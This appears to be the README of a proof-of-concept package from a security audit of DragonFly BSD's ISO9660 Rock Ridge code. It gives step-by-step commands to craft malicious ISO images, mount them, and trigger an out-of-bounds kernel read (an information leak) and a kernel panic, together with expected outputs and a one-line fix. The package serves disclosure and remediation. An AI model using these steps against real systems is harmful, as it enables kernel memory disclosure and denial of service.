# DF-0878 — PoC

Missing SUSP entry-length upper-bound check in `cd9660_rrip_loop`
(`sys/vfs/isofs/cd9660/cd9660_rrip.c`) → OOB heap read / kernel info leak +
local DoS (panic).  See `VERDICT.md` for the full analysis.

## Files

| file | purpose |
|------|---------|
| `harness.c`        | deterministic transcription of `cd9660_rrip_loop` + NM handler with a poisoned allocator (proves OOB read extent without touching the kernel) |
| `craft_iso.py`     | hand-built ISO9660 image generator with crafted SUSP `SP`+`ER`+`NM` entries (`--early` in-buffer leak variant, `--boundary` past-buffer panic variant) |
| `dumpents.c`       | direct `getdents` dumper that hex-dumps each `d_name` so leaked/OOB bytes are visible |
| `build.sh` / `run.sh` | reproducible build/run of the harness |
| `fix.diff`         | `git apply`-able one-line upper-bound check fix |
| `build.log` / `run.log` / `leak_live.log` / `panic.txt` / `fix_build.log` / `fix_run.log` / `env.txt` | full untrimmed evidence |

## Reproduce (on the DragonFly guest)

### Deterministic harness (no kernel interaction)
```
./build.sh && ./run.sh
# expect: "239 bytes read PAST the directory-record boundary (pend)"
```

### Live in-kernel reproduction (needs root to mount, unprivileged to trigger)
```
# 1. host: build the two ISO variants
python3 craft_iso.py --early    df0878_early.iso
python3 craft_iso.py --boundary df0878_bnd.iso

# 2. guest (root): mount the crafted image
scp df0878_early.iso dfbsd:/root/
ssh dfbsd
vnconfig vn0 /root/df0878_early.iso
mkdir -p /mnt/iso
mount_cd9660 /dev/vn0 /mnt/iso
cc -O2 -o dumpents dumpents.c

# 3. unprivileged trigger: any user can ls/stat the mountpoint
su -m maxx -c './dumpents /mnt/iso'    # or just: ls /mnt/iso
#   -> entry 'Z' shows namelen=250 with 246 bytes of leaked 0xCC sentinel

# 4. boundary variant -> kernel panic (page fault in memmove/bcopy)
vnconfig -u vn0 ; vnconfig vn0 /root/df0878_bnd.iso ; mount_cd9660 /dev/vn0 /mnt/iso
./dumpents /mnt/iso
#   -> Fatal trap 12: page fault while in kernel mode (supervisor read, page not present)
#      Stopped at memmove+0x2e
```

### Expected result
- `--early`  : the `Z` entry's `d_name` is 250 bytes, of which 246 are the
  `0xCC` bytes that were placed **past the record boundary** — proving the NM
  handler read past `pend`.
- `--boundary`: the same read runs ~238 bytes past the 2048-byte directory
  buffer into unmapped kernel memory → `Fatal trap 12` panic.

### On the fixed kernel (`fix.diff` applied)
- `--early`  : the `Z` entry is a normal 1-byte name (`Z`) — no leak.
- `--boundary`: all directory entries are returned cleanly — no panic.

## Notes
- `vfs.usermount=0` on the audit guest, so root mounts the crafted image; the
  disclosure/DoS is then triggered by any unprivileged `ls`/`stat`/`readlink`
  (realistic admin-mounted-ISO threat model).
- RRIP is only enabled when the `.` record carries an `ER IEEE_P1282` entry
  (`cd9660_rrip.c:719` insists on the ER field), not just `SP`.
- The bug is a **read-only OOB** primitive; there is no write capability, so
  no privilege-escalation chain is derivable from this finding alone.
